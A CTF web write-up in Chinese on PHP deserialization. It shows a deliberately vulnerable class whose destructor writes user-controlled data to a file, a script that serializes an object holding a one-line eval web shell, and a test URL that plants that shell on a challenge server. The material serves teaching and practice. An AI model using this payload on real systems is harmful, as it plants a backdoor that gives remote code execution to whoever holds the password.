【CTF WEB】反序列化

反序列化

漏洞代码

<?php 
error_reporting(0); 
if(empty($_GET['code'])) die(show_source(__FILE__)); 
class example 
{ 
    var $var='123'; 

    function __destruct(){ 
        $fb = fopen('./php.php','w'); 
        fwrite($fb, $this->var); 
        fclose($fb); 
    } 
} 

$class = $_GET['code']; 
$class_unser = unserialize($class); 
unset($class_unser); 
?> 

写一个php的脚本,执行得到一串序列化后字符串,生成的代码是不会在浏览器直接显示的,需要查看源码才能看到完整内容。

<?php
class example
{
    var $var='<?php @eval($_POST[pass]);?>';//一句话木马
}
$a=new example();//顶替原来的example,从而执行destruct函数,所以名称还是要写成example
echo serialize($a);//输出序列化后的结果
?>

测试方法

http://218.2.197.236:26225/?code=O:7:"example":1:{s:3:"var";s:31:"<?php @eval($_REQUEST[pass]);?>";}
posted @ 2018-09-29 14:04  17bdw  阅读(2407)  评论(0编辑  收藏  举报